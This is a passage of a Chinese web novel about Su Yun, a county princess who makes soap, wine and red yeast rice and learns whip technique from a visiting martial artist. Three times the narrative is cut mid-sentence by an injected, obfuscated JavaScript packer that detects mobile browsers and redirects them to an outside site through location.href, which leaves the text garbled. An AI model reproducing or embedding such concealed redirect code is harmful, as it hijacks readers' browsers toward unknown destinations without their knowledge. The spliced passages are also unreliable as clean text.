苏云道：“过些日子还会再来，有送花石子的，你先留着，到时一并算钱就是。” 村长大喜，赶紧应下。 主簿和衙役见苏云又是发粮食，又是收购花石子，知道她这是在帮助村民，对她不禁好生敬仰，于是去现场划了封地，登记在册。 苏云见事情办完，就向村长告辞，刚到大门，只见小路上跪着一大片的村民。见苏云出来，一起跪拜，齐呼：“多谢县主！”苏云赶紧福了一礼，道：“乡亲们快起来，这是做什么？快起快起，有话好好说。”一老汉由一个少年扶着，老汉道：“县主真是菩萨心肠，槐树村蒙受大恩，无不铭记于心！”苏云道：“乡亲们客气了，本县主封地在此，以后就是就是乡里乡亲，以后少不得还要请各位乡亲多多关照，只是一点粮食，算不得什么。各位快快请起。” 主簿见了，也不知该说什么，幸好只是县主，槐树村人数也不是很多，要是真以侯府出面，这样笼络人心，只怕是要被参有不臣之心。苏云岂会看不到这层？只是没想到一点善举，却不料招来这番猜忌，赶紧找补：“此番蒙圣上错爱，封本小姐为县主，封地也在贵村，日后免不了常来常往，彼此照应。这些许粮食，也是圣上赏赐换来的，若说要谢，自是要感谢圣恩！”说罢，朝向北边，施了一礼，众村民也跪下，朝着北方叩拜。 苏云看了主簿的脸色，总算松了一口气！ 苏云回到柳河庄，首先去看了看那几块肥皂的情况，发现上面有几个些气泡，明白忘了一个步骤，失败了。 郁闷之余，跑到作坊，让大鹏用口里乐进行蒸馏，反复三四遍，做出了一坛酒精，想起医馆的郎中，又吩咐多做了几坛。 前世苏云的一个闺蜜特别喜欢红酒，说起红酒的品种、口感，甚至制作过程，也是如数家珍。因此苏云也了解大致的红酒酿造过程。葡萄快要成熟，等不起，看来得先准备好葡萄酒的酿造。 下午，苏云打起精神，抢占厨房。先是把糖霜放到锅里，然后开始小火慢熬，待到完全融化，熄火，舀起用纱布过滤，过滤完毕，将过滤后的糖霜放到锅里，加一点猪油再熬，之后舀进盆里，放到锅里蒸，取出之后放到一边自然冷却。王嬷嬷大吃一惊，盆里的糖霜成了块状，白中带黄，显然就是从没见过的初级冰糖。王嬷嬷拿起一小块，放到嘴里，比糖霜不知甜了好几倍。王嬷嬷跟着苏云这些日子，见识涨了不少，单是这个冰糖，只怕又是一笔不小的生意。 苏云却暂时没这个想法，一心想着葡萄酒，让王嬷嬷把锅洗干净，又开始了折腾起红曲来。 只见她舀出几斤大米，在水里泡了半个时辰，甩干后，装蒸笼里大火蒸煮，蒸笼刚冒出蒸汽不久，就熄火将蒸笼里的米倒出装在早已准备好的木桶里，加一点凉水，用木棍搅拌，不断用手去摸，差不多二十度时，又倒进蒸笼里蒸煮，冒出蒸汽后，继续蒸煮一刻钟左右，熄火让它自然冷却。待蒸汽散尽，揭开蒸笼盖，倒入木桶，开始搅拌，不停用手去摸，感觉只有五十多度时，将事先磨成粉的酒曲，按比例撒了一点在里面，搅拌均匀，然后舀出放在事先准备好的篾竹板上面，轻轻拍打，盖上白布，再用旧棉絮盖好，放置在一边，告诉厨娘不能让人动它。 厨房里忙了好一阵，出了一身汗，安排王嬷嬷进城，自己干脆洗了个澡，回房打坐休息。 晚饭后，王嬷嬷回来了，手里提了一个小袋，给了苏云，苏云打开看了看，知道这是茜草根，被称作“茹蔗”、“地血”，有止血的功能，也叫“血见愁”，不仅可以做药用，也可以对衣物染色。 王嬷嬷道：“下午把酒精送给郎中了，很是感激你，他也送了这一袋茜草根。” 苏云让王嬷嬷端了一碗水来，拣了一小块放在碗里，不多时，只见浅草根慢慢渗出红色，越来越浓。苏云点点头，用手指蘸了一下水，放在嘴里，微微一笑。 王嬷嬷又道：“又去买了不少糖霜，所费不菲。定制的模板模具也拿回来了。” 苏云道：“无妨，后面能用上的。今天你也辛苦了，早点歇息去吧。” 天黑之后，苏云独自在内院练习鞭法，第二式“闪电鞭”已经成功，开始练习第三式：“龙缠柱”。第三式的重点在一个缠字，林二伯的鞭法上说得明白，首先要判断对方是什么兵器，应对每种兵器的手法不一样，大类都有十多种；还要看对方的力量大小，若是力量不如对方，一旦缠住，恐怕还要被对方反杀；然后要准确把握好距离，不同距离使用的时候要注意手法不同，这样才能有效实施鞭法的作用。每一项大类包括小类若干，每个小类细致到具体，又是若干，总之变化非常繁复。 苏云并不着急，依次一点点练习，每一项务求练得滚瓜烂熟。 正练习间，听得屋顶上一声轻笑，苏云停鞭望去，只见一个黑衣人正坐在屋顶上看着她。黑衣和夜色很是相融，要不是苏云练习檀云功法后目力耳力大涨，只怕还看不出来。 苏云轻声道：“阁下是谁，深夜到此，意欲何为？” 黑衣人并不答话，忽的纵身一跃，从屋顶上飞扑下来，手中也不知从哪里变 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205761|197331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出了一把剑，分心便刺。苏云第一次遇到这种情况，虽有些吃惊，却并不慌张，不待那人扑近，一记闪电鞭，软鞭快速出击，那人并不闪避，手中剑往下一挡，鞭剑相碰，苏云直觉右手猛地一震，身体一阵酸麻，感觉手中鞭子都快捏不住了，急忙顺势后退几步，才刚稳住，黑衣人已经到了近前，苏云来不及细想，往后一跃，顺势挥出长鞭，仍是闪电鞭，黑衣人又是挥剑格挡，苏云不待兵器相撞，右手一挥，长鞭顿时做蛇形舞动，黑衣人倒是没想到有这一招，往后一跃，甫一站定，又猱身前扑，苏云知道自己不是对手，一侧身，右手手中长鞭仍做蛇形挥动，左右去摸到了自己的项链。黑衣人嗤笑一声，用剑竖劈，心知不管长鞭如何做蛇形挥动，只要碰上自己的长剑，都会让它脱手而飞。果然，只见鞭剑相撞，长鞭瞬间脱手飞出。 黑衣人嘴角往上一翘，正要前冲，忽觉一股劲风扑面而来，竟是三颗暗器，分作三个不同方向袭来，黑衣人挥手一挡，三颗珠子被打飞，还没有收回剑，又是破空之声，黑衣人有点吃惊，听得风声位置，往左一侧身，躲过飞驰而来的暗器；又用内力带出劲风，连续扫掉了三次暗器，院子里面已经不见了苏云的身影。 原来苏云自知不是对手，长鞭被震落之时，已经后跃并扯下了项链，连续发了几次暗器，见奈何不了对方，边掷项链珠子，边后退，利用熟悉地形，已经跃出院子在树上躲了起来。 黑衣人一声苦笑，自己也算是江湖知名人物，没想到却被一个小女孩给耍了，捡起鞭子，坐到院子里的石凳上，掏出酒壶，一边看鞭子，一边喝了起来。 苏云在外面树上躲着，也不敢出声，过了许久，见黑衣人一直坐着喝酒，并没有离开的意思，好像要等自己回来，想想刚才招数虽凌厉，但并没有杀意，倒是像要考校自己，应该并无恶意。于是手里握着两颗珠子，从树上跳下来，跃进院子，躬身施礼道：“前辈深夜到此，不知小女子能做点什么？” 黑衣人道：“你不怕我伤你？”苏云道：“小女子并非前辈对手，数招都是前辈手下留情，考校我来着，若真要取我性命，只怕一招就够了。” 黑衣人道：“小娃娃挺机灵，一下就看穿了，武功不怎么样，倒是聪明伶俐得紧。不得不说，清风一指识人的本事还是不错的。” 苏云道：“请问前辈是？” 黑衣人道：“你又不是武林中人，知道了也没什么好处。那老家伙都没告诉你，我也没必要跟你说。那老家伙说你这里有那个什么好酒卧云醉，这才把我骗来的。话说，酒呢？快拿出来啊。” 苏云笑了，道：“前辈稍等。”说着悄声打开作坊门，取了两坛酒，一坛卧云醉，一坛舍得液，又去屋里拿出两只碗，带了一根蜡烛出来点上，这才看清来人，原来是一个长相儒雅，颌下长须，四十多岁的中年人。 黑衣人看到桌上的两坛酒，急不可耐就来拿，苏云笑笑，赶紧拿过一坛卧云醉，倒了一碗，双手递给中年人。 中年人看了苏云一眼，接过碗，闻到酒香，面露欣喜，也不怕有诈，一口灌下，脸上一派享受的表情。 苏云又把舍得液到了一碗，双手递给中年人，中年人接过，一饮而尽，脸上还有些诧异，道：“这是什么酒？老林说卧云醉已是世间难得的好酒了，这一碗似乎比卧云醉更好？” 苏云笑道：“这一碗是舍得液，是林二伯走后才鼓捣出来的。” 中年人大笑：“哈哈哈，终于喝到他没喝到的好酒了。” 苏云道：“前辈喜欢就好。寡酒不好喝，要不我去厨房给你找点吃食？” 中年人没做声，只顾着自己倒酒，苏云记得晚饭似乎还有一些卤猪耳朵没吃完，于是轻轻去厨房，找到了两盘卤菜，拿出一双筷子，端了出来。 苏云把卤菜放到桌上，道：“这是卤肉，也是小女子捣鼓出来的吃食，前辈尝尝？” 中年人拿起筷子，夹了猪耳朵片，送到嘴里，品道：“卤肉？好吃食，香脆有嚼劲，不错！”看看苏云，苏云也不说话，只是面带笑容看着他，看他喝光，只管给他满上。 中年人又夹了几筷子，喝了两口酒，道：“小姑娘不错，我喜欢，看来不告诉你事情原由，只怕对不起你的美酒美食了。” 苏云道：“不急，前辈喝开心了再说也不迟。” 中年人放下筷子，道：“你家林二伯，那可是江湖上赫赫有名的清风一指，鄙人虽不及他名声显赫，倒也有几分薄名。我们俩都嗜酒如命，曾时常切磋，也算相互佩服。前些日子他来找我，给我喝了卧云醉，我当然放不下，于是他就说你这里很多，随便喝。我一酒虫，哪里耐得住，这不就来了。刚才看你练功，也只是想试试你，武功不行，应变奇快，确是难得的好苗子。” 中年又喝了一口道：“林老头让我来，哪里是让我来喝酒的，我岂不知，他是用好酒吊着我胃口，让我来教教你的。” 苏云道：“晚辈无福得前辈指教，不过前辈若是不嫌弃，这里的酒，自是可随便喝的。” 中年人笑道：“常言道：“拿人手短，吃人嘴软。天下午餐，岂有白吃的道理？况且小女娃人不错，对我脾气，我很喜欢，教你两手，不算什么。” 苏云赶紧作揖道：“不想晚辈竟有这等福气！真是前辈子不知道做了多少善事，才有此机缘。” 中年人笑道：“小娃娃嘴巴还真甜。林老头说过，你才练了一个月左右，且是自学，能有这般功夫，也的确是百年难得的奇才了。刚才试身手，你的内息还不够纯粹，当然这个需要时间，另一个你的轻功有些地方也不对，不然你的身手还要敏捷很多，也能跳得再高一些。酒足饭饱，今日已晚，有甚明日再说，林老头房间在哪里，带我去歇息，对了，我姓杨，叫我杨三叔即可。” 苏云赶紧拿起蜡烛，在前面领路，杨三叔抓起桌上的大包袱，在后面跟上，到了林二伯房间门口到：“林二伯房间简陋，怕委屈杨三叔。” 杨三叔道：“无妨，林老头睡得，你杨三叔也睡得。” 32. 第 32 章 32、葡萄酒 昨晚睡得晚，苏云没早起，吃过早饭，让王嬷嬷去找了那个带路去杨家村的庄户，委托他去取上次定制的陶器。那庄户喜滋滋的答应了，知道苏云不会让人白跑，每次报酬都会很可观，谁叫苏云大方呢。 杨三叔的门关着，苏云吩咐大家小声一些，不要打扰了杨三叔睡觉，并说杨三叔是林二伯的朋友，以后都要尽心伺候他。 绣房的女子来了，在门口就给她们打了招呼，不要吵闹，所以上午都是静悄悄的。 好不容易，林二伯房间大门打开，苏云安排何小花端着脸盆伺候杨三叔洗漱，然后厨娘端着早餐到了他屋里，白粥、两样精致小菜，还有几个包子，昨日宿醉，现在清淡饮食，杨三叔吃得甚是满足。 苏云过来，道：“杨三叔，我今日有事，不能相陪，你没事的话随便转转，有事尽管吩咐。” 杨三叔道：“怎么没事，宝儿呢？在哪里？” 宝儿远远躲在厨娘身后，杨三叔看到了，从屋子里拿出一个口袋，朝宝儿招手，见宝儿不过来，便打开口袋，拿出一个玩具，扬了扬，放在地上，又拿出一个玩具扬扬，宝儿经不住诱惑，慢慢走了过来，杨三叔笑道：“宝儿是吧？这是你林爷爷带给你的玩具，还有一些好吃的哦。” 宝儿眼睛放光：“真的吗？小姐说得一点多没错。”杨三叔道：“小姐说了什么？” 宝儿道：“小姐说，只要宝儿好好练功，林爷爷会给我带很多礼物。” 杨三叔笑着把口袋递给宝儿：“拿去，都是你林爷爷给你的。” 口袋足有宝儿高，宝儿使出吃奶的力气，又抱又拖又拽，却哪里搬得动？大家看得都笑了！ 还是小花看不过，笑着帮他提到了房间里。 杨三叔似乎也喜欢这种氛围，起身拍拍手，笑道：“那我出去转转。” 苏云道：“杨三叔别忘了回来吃午饭。” 杨三叔点点头，朝院子大门走去。 何小花也回绣房去继续练习，苏云跟着进去看了看，只见留下的姑娘们个个似乎都不错。 苏云看做午饭还有一会儿，就占用了厨房，和王嬷嬷一起做肥皂，这一次拿出了模具，先用酒精擦试了一遍，在灌制到模板的时候，用嘴喊着酒精喷了一下，一块模板上有三条长格，每条大约有三块肥皂的长度，两头木块可以取下，灌满后，等到一个时辰，肥皂完全硬化，抖出来，上面的花纹很清晰，每条用刀切成均匀的三块，装在盆子里，拿到通风处去阴凉起来。 至于厨娘看着罐子里凭空消失的猪油大感疑惑什么的，她就不去管了，让王嬷嬷解释就好。 看着姑娘们的绣工越来越好，苏云开始设计一些图样，前世她也喜欢cosplay，尤其喜欢汉服，对图样还是很有心得的。先去找了点木炭，在纸上轻轻画草图，然后用毛笔勾线，画了十多张，看杨婶子还在，就那过去给她看，杨氏很是喜欢，于是着手安排姑娘们按照图样绣了起来。 午后，苏云又到厨房，关上门，把昨天发酵的大米解开，放到一块青石板上面，用铁铲翻动，米饭里冒出一股股热气，不断翻动，用手抹着不烫手时，就将它铲成一堆，用手拍紧，盖上白布，再压上麻袋，又放在了一边任其发酵。 一看时间还有，苏云和王嬷嬷继续做出了不少冰糖，把它放到柜子里锁上。出得厨房，才知道庄户已经把葡萄酒的罐子带回来了，由于王嬷嬷一直在厨房，还没有给钱，王嬷嬷自去庄户家里结算。 直到晚饭后，苏云弹了两曲古琴后，才开始打坐。然后再请杨三叔到内院指教。 杨三叔先问起内息的情况。苏云道：“驱动内息时，内息基本能随着我的意念移动，但是不能很快，且运转到腰部穴道时，有时会有些散乱，不是那么集中。” 杨三叔道：“你盘坐我看看。”苏云就在地上盘坐起来。杨三叔道：“你每次都是左腿在里，右腿在外吗？” 苏云道：“这个也有讲究？不曾注意。” 杨三叔道：“你现在是右腿在外，先练习一下，看看腰部情况如何？” 苏云开始运气，到了腰部仍然觉得有些散乱，于是换了一下，左腿在外，再次催动内息，这一次到腰部明显畅快了许多。 苏云大喜：“原来是这样，难怪有时顺畅，有时比较散乱。” 杨三叔又道：“内息移动的快慢，要看意志力的强弱，意志力强，则运息就可以更快，摒弃所有影响，试着运行一圈。” 苏云依言，静坐片刻，开始运息，不想其他事情，果然，速度快了不少。 运转一圈之后，苏云道：“的确快了不少。” 杨三叔道：“这个需要循序渐进，急不来，只要方法得当，未来可期。再有就是你的轻功和力道，按照你的内息来看，你的轻功还应该轻灵一些，你的轻功有些滞涩。你跳上墙头看看。” 苏云起身到外面，纵身一跃，堪堪越上墙头，跳下来后，杨三叔道：“你的腿部弯曲角度过小，弹力不够，最重要是你在弯曲腿部时，内息上的配合时机没有掌握到最佳。” 放慢示范了一下，一边解说，一点地，轻轻松松跃到了屋顶。 让苏云也试试，苏云不敢跃上屋顶，把杨三叔说的说的话默默转了转，然后纵身一跃，飞上了院墙，感觉并没有费多大力。 杨三叔下来，道：“你自己先练练，明天我再看看你的鞭法。”说罢越过院墙，回西院去了。 苏云受益匪浅，反复练习到深夜。 次日下午，苏云总念着红曲，看看时间差不多了，又去厨房将那团米饭解开，只见里面的米饭已经出现淡红色，摸着温度还有些高，于是有重复了昨天的动作，用铁铲翻动散热，之后又合拢、拍紧，盖上白布和麻袋。 再去看看昨天的肥皂，看起来花纹凹凸很齐整，很是漂亮，也没有气泡，应是很成功。 见小花把脏衣服装在盆子里面，准备去河边洗衣服，就叫住她。 苏云道：“小花，你把这个拿去洗吧。”说着递给小花前面做的有气泡的肥皂，有气泡只是不好看，其实并不影响洗衣功能。 小花奇道：“小姐，这个要怎么洗？” 苏云道：“把衣服过水，用这个洗衣皂抹在衣服上搓洗一阵，然后用水漂洗，没泡沫就行了。” 小花道：“这个真有用？” 苏云道：“你试试看就知道了，脏的地方要多抹两下。” 不久，小花回来，高兴道：“真的很有效，昨天不小心沾到的油渍都清洗掉了，比皂角好用太多了。” 晚上，杨三叔又来到了后院，苏云有些顾虑，没有得到林二伯的许可，三十二路追风鞭法不知能不能让杨三叔知道。 杨三叔看出了苏云的顾虑，笑道：“你很不错，鞭子给我。”苏云把鞭子递过去，杨三叔接过鞭子，立马就是起手式，紧接着闪电鞭、龙缠柱，一路舞将下去，直到三十二路结束，一个收势站定。 苏云前三鞭都是明白的，后面的虽还不会，但是很多图都记住，杨三叔好多动作和图上是一样的，可以肯定就是完整的三十二路追风鞭法。只是这长鞭，在杨三叔手里，如飞龙，如灵蛇，灵动快捷，随心所欲，哪里是苏云能比的？ 苏云叹气，自己要达到这种效果，不知要花多少年。更可怕的是，就算花了几年时间，最后还是达不到。 杨三叔道：“林老头和我，也算是莫逆之交，他的武功，我全都知道，我的武功，他也了若指掌，你放心好了，这次回来，说是为了酒，其实就是他让我来指点一下你的，也是对你的爱护之情。” 苏云很是感动，作揖道：“三叔辛苦了。只怕小女子愚笨，有负三叔教诲。” 杨三叔道：“不可妄自菲薄，这鞭法在我手中，也是用了好几年才练到这个样子，且当时我的水准也和林老头差不多了，尚且用了三年多的时间，你才不到两月，能有如此成就，已是非常难得了。好了，你将前两式比划给我看看。” 苏云接过鞭子：“请三叔指教。”舞将起来。 杨三叔道：“这两式，总体还可以，还有一些关键的地方要注意，比如起手式，你的右手位置太高，需要降低一些。”说着给他示范，苏云照着学，就如此，一直到了半夜才结束。 此后，在杨三叔指导下，苏云进步神速。以前靠自学，慢慢琢磨，进展比较缓慢，现在有杨三叔讲重点、难点，还示范，三十二路鞭法，三个月居然就学完了。当然，这是后话了。 次日，大约上午巳时，苏云又去了厨房，将那堆发红的米饭更红了，打开散热，装进一个竹制的篾框里，然后连框一起放进装有清水的桶里，里面的水刚好淹过米饭，这样泡了小半个时辰，然后取出篾框，甩干净水，又倒在石板上，收拢、拍紧，盖上白布、麻袋，继续发酵。 午饭后，苏云又开始画稿，一个下午差不多画出了二十张。去交给杨氏，看绣女们把自己的稿子做成刺绣作品，和图纸一样，显得非常精致。看着快完成的作品，苏云觉得还很有些成就感。 晚上杨三叔教授鞭法，到亥时，苏云没叫醒王嬷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205762|197331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嬷，请杨三叔帮忙，一起去厨房把那堆米饭打开，倒在两个干净的簸箕里面，然后端到内院，通风的地方，让它们自然晾干。 早上起来一看，那些米饭都成了深红色，红曲是成功了。把它们在簸箕里翻了翻，继续晾着。 葡萄酒用具都已准备齐全，想去看看葡萄是不是成熟了。带着王嬷嬷出门，杨三叔也跟了上来，反正闲着也是闲着。 到了山下，见半山腰的草棚还在，三人上去，只见那个庄户全家正在忙着采摘，挎着篮子，到处去寻找已经成熟的葡萄，草棚外还放着两个大框，里面装了不少刚采摘的葡萄。 见到苏云上山来，庄户上前见礼后，笑道：“龙女，这次葡萄虽然不多，却都成熟了，这不，全家人都在这里采摘，等弄好了就给您送过去。” 苏云笑笑道：“甚好。”上前蹲下看葡萄，只见颗颗饱满，晶莹，卖相十分好。便问道：“大概有多少斤？” 庄户道：“现在大约八十多斤。”正说着，家里的一个小姑娘挎着篮子跑过来，满头大汗，高兴道：“爹爹，我的篮子装满了。”然后把篮子里的葡萄小心放到大框子里面。 庄户笑道：“小英，你先歇歇，让你娘去摘就行了。” 小英擦擦汗，笑道：“爹爹，我不累。”说着提着竹篮又跑开了。 苏云道：“你忙，我先回去了，你采摘完，送到我家里来就行。” 庄户道：“嗯嗯，就快好了。” 庄户送葡萄过来，已经是下午，苏云亲自检查了，然后称了重，按照市场价格，给了一两八钱。庄户一家喜滋滋拿钱走了。 苏云让大鹏二鹏把定制的五个大坛子和六七个装蒸馏酒的坛子洗干净，搬到了内院；又让王嬷嬷到厨房将冰糖搬进内院；再安排院子里的女子都动手，将筐子里的葡萄拿出来，用剪刀一颗颗剪下，放在盆子里面，然后用白布打湿，拧干后，一颗一颗擦干净，注意不要擦到上面的白霜，搽干净的葡萄，放进桶里，最后将桶提到内院。 搞定之后，苏云看着满院子的桶、盆、坛子，心里一阵苦笑。没办法，要保密，只得自己动手了。 首先，按照常规的做法来操作。小坛子可以装五斤，把葡萄称重三斤放入坛中，然后按照3：1的比例，加入一斤冰糖，再加入不到两钱的红曲，搅匀后，用布盖上，再用绳子把坛口绑紧。这样做了三坛。 然后，也是一样操作，只是糖的比例减少了一点；也做了两坛。 然后按照这个做法，把五个大坛子也装满，只是在这五个大坛子里面加了一点茜草根。因为浅草根会有一点酸味，又加重了一点冰糖的比例。 开门，让大鹏二鹏进来，用窑场带回的粘土，把所有的坛口都封上，再搬进比较阴凉的空屋子里，锁上门，不再管它。 晚上照例又是一番鞭法教学。 总算了却了葡萄酒的心事，苏云又开始考虑肥皂的生意。肥皂的制作比较简单，但是需要很多劳工，这样，就能安排很多人打工挣工钱，能够极大改善乡民庄户的生活。 说干就干，又和王嬷嬷折腾了一整天，做了两百多块肥皂出来。 晚上，陆平回来了，带回黎大为的一封书信还有一个卷筒。 陆平道：“见过小姐，大为哥让我捎信回来。” 苏云道：“辛苦你了，吃过饭没有？没有的话，我让厨娘给你做一些。” 陆平去吃饭，苏云先打开卷筒，里面是四张纸的题字，还有几张银票。然后拆开黎大为的书信，认真看起来。黎大为写得比较详细，自从那日离开临川，第二日就到了京城，货物先是在国公府存放了两日，租好了院子，就搬到了院子里。接下来就是寻找合适的作坊，寻得有家酒铺后面正好有两个院子在出租，就先去租了下来，还把院子情况画了草图。至于库房，尚在选择中。 拜访了瞿老夫子，最开始瞿老夫子不让进门，送了三瓶不一样的酒，还写了一首诗后，瞿老夫子却亲自将他迎进府里，还热心为他题了四幅字，就是卧云醉、舍得液、不羡仙还有名酒轩，都有落款印章。后又陆续拜访了几位名人，都送了酒。在他们的大力宣传下，名酒轩在京城开始有点名气。为了保持热度，物色了几个酒铺，每个给了一百瓶，他们按照三个档次定价，卧云醉三十两，舍得液四十两、不羡仙五十两，居然还供不应求。也去最好的酒楼樊楼、还有最有名气的青楼丽香苑各售卖了两百瓶。前日国公老夫人寿诞，赠送了林将军一百瓶。带去的就还剩下八百瓶左右，现在在京城名气日显，是不是可以大量售卖了？ 33. 第 33 章 33、世外桃源 苏云看完信，陷入了沉思，暗暗想着下一步的计划。 陆平回来，苏云道：“你和大为在京这些日子，都在忙些什么？” 陆平就说了这些日子的事情，和黎大为信中说的差不多。 苏云道：“你们在京城，可有说自己的真实身份？” 陆平道：“都是按照先前说好的，大为哥自称姓余，名达；小的也叫李平，是千里之外的盘州人氏，到京城做酒买卖的。” 苏云道：“不错，这样甚好。” 陆平道：“这次回来，是大伟哥想问问后续应该怎么做？” 苏云嗅到意思危险的气息，沉思一会：“这样，你回去跟大为说，第一、目前我们的酒已经日渐显赫，无需再扬名，小心被人盯上。其二、回去的时候，你把临川这些日灌装的酒也全部带回去，让大为把手里的全部存酒出货；其三、你明日去窑场定制一批新酒瓶，三种酒瓶都要有，一早我会给你图样，要他们赶货，贵一点都行，返京时一并带回去，放到新租的院子里。其余的事情，我会写信给大为安排好。今日奔波，你也辛苦了，明日还要去窑场，早点歇息去吧。” 陆平退下后，苏云想了想，提笔写了一封信。除刚才对陆平说的话外，又加了一些内容：1、照着图纸定制四个蒸馏器，此事要交给阿牛和何大壮去办，黎大为和陆平都不能露面；2、尽可能多在酒铺购入符合三个品质的基酒，准备一些装蒸馏酒的小坛子；3、在两个院子的角落开一个角门，把灌装好的酒瓶放到另一个院子存放好；4、黎大为把所有酒都出手后，和陆平抓紧回来，还有别的安排。5、阿牛和何大壮暂时不用回来，还会送两个人手到京，四个人就留在院子里做蒸馏酒，不要贪多，隔壁酒铺作坊酿酒时，他们才能做，人家不做时，就绝计不能再做；务必留下足够的生活费和机动费用。 信写完，又按照四幅题字，重新画了酒瓶的图纸。 酒瓶图纸画完，又开始构思肥皂作坊该怎么修建。没想到天色已黑，窗外传来一声不满的咳嗽，苏云这才意识到练习的时间早就到了，赶紧出门，只见杨三叔不满地看着她。 苏云弯腰拱手：“杨三叔，对不住，刚才有事耽误了。” 杨三叔哼了一声。 次日一早，苏云将图纸交给陆平：“你的马快，先去城里，找到木器作坊，问问能不能做出这两个盒子，一个木头的，一个竹编的。如果可以，你就让他们先做两个样品出来。然后你去窑场定制酒瓶，白色三千个，蓝色和红色各两千，问清楚什么时候可以交货，并问他们能否送到京城去？费用好说。落实之后，你再返回城里去取盒子样品，如果看起来不错，你就先各定制二十个，样品记得拿回来。” 王嬷嬷给了费用后，陆平领命骑马而去。 苏云一直纠结该将肥皂作坊设置在哪里，在柳河庄肯定不行，毕竟这是侯府的产业，若是以后还是不被侯府待见，必定产业要被侵占；如果设置到槐树村的封地，似乎也不合适，如果建在小雀山呢？苏云已经不想种植药材了，那座山种植葡萄挺好。 几番思索，没有头绪，出得内院，看着杨三叔在西院在监督宝儿扎马步，就想到请杨三叔一起去小雀山、猪鼻山看看再说。 杨三叔听说要出去转转，还挺高兴，这次没有叫王嬷嬷，两人径直出发。 初时慢慢走，过了小雀山转弯，见四下无人，苏云想检验一下自己的轻功，突然加速，飞一般跑起来，还四下张望，看看周围的环境，但是不管苏云跑得多快，杨三叔都是不紧不慢，神色轻松的紧跟着她。 刚到了猪鼻山，只见旁边上次看到的那条小路分岔通向另一处，小路通向另外两座山之间，只是这条小路鲜少有人行走，杂草丛生，不仔细看，还真不容易被发现。这两座山好像也是自己买下了的。于是停下，慢慢顺着那条小路走过去，不多久，进入一个隘口，只见四面都是山，中间有一片宽阔的平地，大约百十亩地，绿草如茵，周围是密密的树林，树林旁还有一个小小的湖泊，估计人迹罕至，竟然有小动物在湖边喝水，见到人过来，立马跑进前面的树林不见了踪影。 好就好在，湖泊旁边，右边山脚还有一片高出湖泊几米的平地，简直就是留给建房子用的。 整体虽然不大，但景色相当优美，一开始想把作坊建在这里，又觉得把此处风景破坏了可惜。如果把县主府建在这里，岂不是就是前世的顶级豪华别墅？ 正想着，杨三叔道：“此处景色甚美，若在此处修建房舍，怕是要乐不思蜀了。” 苏云道：“正有此意。只要在路口修一道墙，里面自成天地，桃源也不过如此。若是杨三叔喜欢，必定给你留一间房，你随时都可以来住。” 杨三叔道：“就这么定了，我也正有此意。正所谓出则繁华，入则清静，甚好。” 打定主意，出得山谷，仍朝槐树村行进，不多久，只见山谷变得比较宽畅起来，一条小溪从旁边流过。上次只是着急回家，并没有太多注意，现在看起来，这里建作坊是不错的选择，有水流通过，对面的一片平地，虽有些坡度，凿平应是不难。小溪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205763|197331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上面架桥也是寻常工程。 再朝前面走，隐约已经能看到槐树村了，便回头，准备回柳河庄，正要跑起来，杨三叔道：“莫急，单纯跑路的轻功和在小范围空间里的内息运用是有一点差别的，小空间里面辗转腾挪，讲究巧劲，单纯跑路，则讲究内息的控制，尽量做到细密悠长，这样才能跑得更久。” 见苏云一脸期待的模样，杨三叔很是满意，到：“你调整好呼吸，尽量不要大口喘气，一呼一吸之间，脚下的步数尽量多一些，你且试试看。” 苏云按照杨三叔所说，开始老想着延长呼吸，增加步伐，跑得比开始还慢，不过慢慢习惯之后，也越来越快，一呼一吸之间，步伐也在增加，跑了一段之后，果然觉得内息消耗减慢了很多。 到了小雀山，苏云停了下来，和平常一样走路，杨三叔也不紧不慢跟着。 苏云道：“杨三叔，最近在柳河庄住得怎么样？” 杨三叔道：“甚好，有吃有喝，除了教你比较烦，其他都很好。” 苏云笑道：“是我太愚笨，辛苦杨三叔了。” 杨三叔道：“知道就好，还有救。” 苏云哈哈：“杨三叔，过两天陆平要回京城，这次货物比较多，我怕出路上出岔子，不知杨三叔能否援手，也去一趟京城？” 杨三叔道：“无妨，只要有酒有肉，哪里都差不多。只是我这一去，你的鞭法怎么办？” 苏云道：“现在已经到了第五鞭，这几日停一下，我可以把前面的再弄扎实一点，应是无妨的。” 杨三叔道：“我知你虽小小年纪，定是要干一番大事的。别的我也帮不了你，如果有打架的事，叫上你三叔，我还真没怕过谁。” 回到院子，苏云决定将葡萄酒作坊和肥皂作坊就建在离槐树村不远的那片空地上，难的地方就是槐树村的村道有些窄，到时候还要进行拓宽，而山谷那边还需要修建一条能过马车的路，和村道连接起来。好在自己有银子，可以任性。 于是，苏云拿出纸笔，开始构思起来。 